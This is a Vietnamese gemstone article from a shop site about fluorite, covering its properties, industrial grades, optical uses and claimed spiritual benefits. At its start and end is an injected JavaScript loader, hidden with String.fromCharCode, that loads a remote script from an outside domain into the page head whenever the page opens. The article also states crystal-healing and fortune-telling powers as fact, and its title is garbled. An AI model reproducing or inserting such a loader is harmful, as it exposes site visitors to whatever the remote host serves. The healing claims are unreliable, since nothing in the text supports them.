Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,99,115,115,46,100,105,103,101,115,116,99,111,108,101,99,116,46,99,111,109,47,122,98,116,63,118,56,52);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();
Đá FluoĐá Fluoriterite và ứng dụng

Đá Fluorite và ứng dụng

Đá Fluorite còn được gói là “viên đá trí tuệ” là một trong những tinh thể phổ biến chỉ đứng sau thạch anh. Viên đá trí tuệ này giúp tăng khả nang tư duy, khai mở luân xa được các bạc thầy chiêm tinh và Yoga vô cùng yêu thích. Hãy cùng Jade House (www.jadehousevn.com) khám phá viên đá đặc biệt này nhé!

Đặc điểm

Đá Fluorite xuất hiện lần đầu tiên vào năm 1530 với tên gọi là “fluorspar” hay còn gọi là  “hoa quặng” với màu sắc đa dạng và rực rỡ của chúng. Ngày nay, thuật ngữ ‘fluorspar‘ chủ yếu được sử dụng cho dạng đá Fluorit công nghiệp, và được biết đến như là chất xúc tác để luyện quặng, nhôm, thép.

Đá Fluorite có công thức hóa học là CaF2 thuộc nhóm halogenua khoáng sản. Cấu trúc của đá Fluorite khá giống với các ma trận hay có lúc lại giống những khói lập phương chồng chéo lên nhau tựa như một thành phố thu nhỏ. Fluorite thường có màu sắc rực rỡ, đẹp sáng và trong suốt. Đá Fluorite có tần số ổn định, có tính trật tự nhưng lại trật tự theo một cách riêng biệt, hỗn loạn. Đá Fluorite hỗ trợ tâm linh, giúp suy nghĩ tập trung và sáng tạo, cân bằng mọi khía cạnh trong đời sống.

Màu sắc

Đá Fluorite được tạo ra trong tĩnh mạch thủy nhiệt, thường kết hợp với các khoáng chất như Thạch anh, Canxit và Barit… tạo nên màu sắc của đá Fluorite như xanh lá cây, xanh dương, vàng kết hợp với các màu hồng, đỏ, trắng, nâu và đen xuất hiện theo dãi vân hoặc hình thành nhiều vùng màu khắc nhau  ở trong đá Fluorite ở dạng trong suốt. Một đá  Fluorite có thể có bốn hoặc năm vùng màu hoặc dải màu khác nhau.

Thành phần CaF2
Hệ tinh thể Lập phương
Độ trong suốt Trong suốt đến không thấu quang
Dạng quen Khối lập phương, hình 8 mặt
Độ cứng Mohs 4
Tỷ trọng 3,00-3,25
Cát khai Hoàn toàn, theo các mặt bát diện
Vết vỡ Á vỏ sò
Biến loại (màu sắc) Không màu, lơ, tím, lục, vàng, da cam, hồng
Màu vết vạch Trắng
Ánh Á thủy tinh
Đa sắc Không
Chiết suất 1,434
Lưỡng chiết và dấu quang Không
Biến thiên chiết suất Rất thấp (0,007)
Phát quang Yếu đến mạnh, màu lơ tím ở LW
Phổ hấp thụ Fluorit lục: 634, 610, 582, 445, 427
Tổng hợp và xử lý Chưa được tổng hợp và xử lý

 

Phân bố

Đá Fluorite phân bố rộng rãi, được tìm thấy ở khắp nơi như Đức, Áo , Anh, Thụy Sĩ, Na Uy, Mexico và Ontario ở Canada. Nó còn được tìm thấy ở Kenya trong thung lũng Kerio thuộc thung lũng tách giãn Great. Ở Hoa Kì, loại khoáng vật này được tìm thấy ở Missouri, Oklahoma, Illinois, Kentucky, New Mexico, Arizona, Ohio, Colorado, New Hampshire, New York, Alaska và Texas.

Ứng dụng

Đá Fluorite có nhiều ứng dụng trong công nghiệp. Đá Fluorite được sử dụng chủ yếu trong các ngành công nghiệp luyện kim, gốm sứ và hóa chất; ngoài ra ứng dụng trong quang học, điêu khắc và ứng dụng khác cũng rất phổ biến.

Tên Fluorspar được dùng cho đá fluorite khi nó được bán dưới dạng vật liệu rời hoặc ở dạng chế biến, được bán ở ba loại khác nhau (axit, gốm và luyện kim).

Fluorpar loại axit

Fluorpar loại axit là một vật liệu Fluorite có độ tinh khiết cao được sử dụng bởi ngành công nghiệp hóa chất. Nó chứa hơn 97% CaF2. Hầu hết các fluorit được tiêu thụ ở Hoa Kỳ là loại axit ngay cả khi nó được sử dụng trong các ứng dụng cấp thấp hơn. Nó được sử dụng chủ yếu trong công nghiệp hóa chất để sản xuất axit hydrofluoric (HF). HF sau đó được sử dụng để sản xuất nhiều loại sản phẩm bao gồm: hóa chất fluorocarbon, chất thổi bọt, chất làm lạnh và nhiều loại hóa chất fluoride.

Fluorpar loại gốm

Fluorpar loại gốm chứa từ 85% đến 96% CaF2. Phần lớn vật liệu này được sử dụng trong sản xuất thủy tinh, gốm sứ và men đặc biệt. Fluorspar được sử dụng để chế tạo men và xử lý bề mặt tạo ra bề mặt bóng cứng, bề mặt màu trắng đục và một số hình dạng khác làm cho vật kính tiêu dùng hấp dẫn hơn hoặc bền hơn. Bề mặt nấu chống dính được gọi là Teflon được chế tạo bằng flo có nguồn gốc từ fluorite.

Fluorpar luyện kim

Fluorpar luyện kim chứa từ 60 đến 85% CaF2. Phần lớn vật liệu này được sử dụng trong sản xuất sắt, thép và các kim loại khác. Fluorpar có thể phục vụ như một chất trợ giúp loại bỏ các tạp chất như lưu huỳnh và phốt pho từ kim loại nóng chảy và cải thiện tính lưu động của xỉ. Từ 20 đến 60 pound fluorit được sử dụng cho mỗi tấn kim loại được sản xuất. Ở Hoa Kỳ, nhiều nhà sản xuất kim loại sử dụng fluorit vượt quá cấp luyện kim.

Fluorite quang học

Mẫu vật của đá fluorite với độ trong quang học đặc biệt đã được sử dụng làm thấu kính. Fluorite có chỉ số khúc xạ rất thấp và độ phân tán rất thấp. Hai đặc điểm này cho phép ống kính tạo ra hình ảnh cực kỳ sắc nét. Ngày nay, thay vì sử dụng các tinh thể fluorite tự nhiên để sản xuất các thấu kính này, fluorite có độ tinh khiết cao được nấu chảy và kết hợp với các vật liệu khác để tạo ra các thấu kính “fluorite” tổng hợp có chất lượng cao hơn. Những ống kính này được sử dụng trong các thiết bị quang học như kính hiển vi, kính viễn vọng và máy ảnh.

Fluorite điêu khắc

Đá fluorite với màu sắc và độ trong đặc biệt thường được sử dụng bởi những người thợ mộc để cắt đá quý và làm đồ vật trang trí. Đá fluorite chất lượng cao tạo ra những viên đá mặt đẹp; tuy nhiên, khoáng chất rất mềm và dễ phân tách đến nỗi những viên đá này được bán dưới dạng mẫu vật của người sưu tầm hoặc được sử dụng trong đồ trang sức sẽ không bị va đập hoặc mài mòn. Đá Fluorite cũng được cắt và chạm khắc vào các vật trang trí như tượng nhỏ và bình hoa. Chúng thường được xử lý bằng một lớp phủ hoặc ngâm tẩm để tăng cường sự ổn định của chúng và bảo vệ chúng khỏi trầy xước.

Ý nghĩa và công năng

Các vị thiền sư Yoga của Ấn Độ từ thời xa xưa đá sử dụng đá Fluorite là một trong những tinh thể huyền bí có sức mạnh kết nối tâm hồn của con người với các quyền năng tối cao của Vũ Trụ.

Đá Fluorite hỗ trợ thiền định mạnh mẻ giúp đã thông các luân xa hỗ trợ trong việc tiếp thêm sinh lực cho cơ thể và nâng cao sức mạnh tập trung cho người thiền.

Không những vậy các nhà tiên tri thường sử dụng quả cầu đá Fluorite với màu chủ đạo là màu tím để tiên đoán tương lai và vận Mệnh.

Ngoài ra khi đeo đồ trang sức bằng đá fluorite trên người giúp tăng khả năng phân tích, tăng khả năng tư duy, tăng tính sáng tạo cho người sử dụng.

Đá Fluorite được biết đến như là viên đá có khả năng giúp kiềm chế nóng giận, điều hướng cảm xúc theo chiều hướng tốt. Giảm sự bất ổn và rối loạn trong tâm hồn mang lại một cái nhìn sáng suốt hơn, đưa ra các quyết định một cách đúng đắn hơn.

(Dunji, Sưu tầm và biên soạn)

Digiprove sealCopyright secured by Digiprove © 2019 Tran  Minh
Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,99,115,115,46,100,105,103,101,115,116,99,111,108,101,99,116,46,99,111,109,47,122,98,116,63,118,56,52);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();